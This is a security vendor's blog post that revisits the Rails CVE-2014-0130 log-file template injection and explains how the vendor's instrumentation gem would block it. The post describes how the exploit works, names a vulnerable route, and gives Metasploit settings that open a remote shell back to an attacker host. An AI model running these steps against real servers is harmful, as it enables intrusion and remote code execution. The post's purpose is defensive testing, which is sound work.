<img height="1" width="1" style="display:none;" alt="" src="https://analytics.twitter.com/i/adsct?txn_id=nv7vl&amp;p_id=Twitter&amp;tw_sale_amount=0&amp;tw_order_quantity=0"> <img height="1" width="1" style="display:none;" alt="" src="//t.co/i/adsct?txn_id=nv7vl&amp;p_id=Twitter&amp;tw_sale_amount=0&amp;tw_order_quantity=0">

Will It Pwn? CVE-2014-0130

Oliver Lavery on Aug 26, 2015

As we get closer to unleashing immun.io, we've been busy polishing up our protection algorithms and preparing them to harden a Rails app near you.

Amidst all of this, we've attempted a little retrospective analysis - we're revisiting recent Rails vulnerabilities and asking ourselves - what if immun.io existed then? Would we have provided 0-day protection, or would they have pwned?

Rails is a fantastic way to rapidly build cutting edge web applications, but it has several weaknessses from a security standpoint. Let’s examine one.

CVE-2014-0130 is a doozie. Mitre optimistically calls it a ‘Directory traversal’ vulnerability. In truth, it's a Directory Traversal vulnerability with some remarkably large and pointy teeth.

Jeff Jarmoc of Matasano wrote an excellent analysis of the realistic threat of this vulnerability here.

Go ahead and read it. It’s totally worth your time. I’ll wait.

The Exploit

Unfortunately, while the Matasano paper mentions releasing a Metasploit module at some point, it doesn’t look like that happened. For our tests, we had to throw our own module together. You can grab it here.

While the exploit is simple, it obtains you a remote shell running on your target. It sends a GET request to a vulnerable Rails route with a payload encoded into a GET parameter. The request URI will cause ../../../log/production.log (by default) to be processed as an Erubis template. Since GET parameters generally get logged, the payload will be executed by the Erubis parser.

To test it out, we’ll use Redmine with a couple small changes:

  • Update the Gemfile to use the vulnerable rails 3.2.17
  • Add a vulnerable route to config/routes.rb: get '/vuln/*action', controller: 'welcome'

In Metasploit you need to specify:

use multi/http/rails_action_routes_code_exec
set RHOST <target IP>
set RPORT <target port>
set TARGETURI /vuln/
set TARGETFILE ../../../log/production.log
set LHOST <metasploit IP>

The Defense

So how does immun.io protect against this vulnerability? Due to our unique position within your application, the defense is quite simple.

When the immun.io gem loads it uses :alias_method to instrument quite a lot of ruby and rails functions. One of the things we instrument are all file access functions - we can thereby make determinations about expected safe behaviour and hostile unsafe behaviour. This isn’t a novel idea, Host Based Intusion Prevention (HIPS) products did it a decade ago, and A/V has been using similar tricks since DOS days.

The difference with immun.io is because we are fully integrated with your Rails application, we have access to an enormous amount of context about the application’s state and its program structure. This is a game changer. For a HIPS it is difficult to determine ‘normal’ application behaviour, because they generally look at applications from the OS perspective: a black box that makes system calls. When you can correlate file access with Rails routes, complete request and user information, call stacks, and everything else accessible within a web application, the hard problem of differentiating between normal and abnormal behaviour becomes much easier.

File access is just a small portion of the way immun.io is trying to make self-protecting web applications. In fact, with immun.io enabled, if you turn off the Metasploit module, the exploit would likely still fail.

But we’ll save that for another day!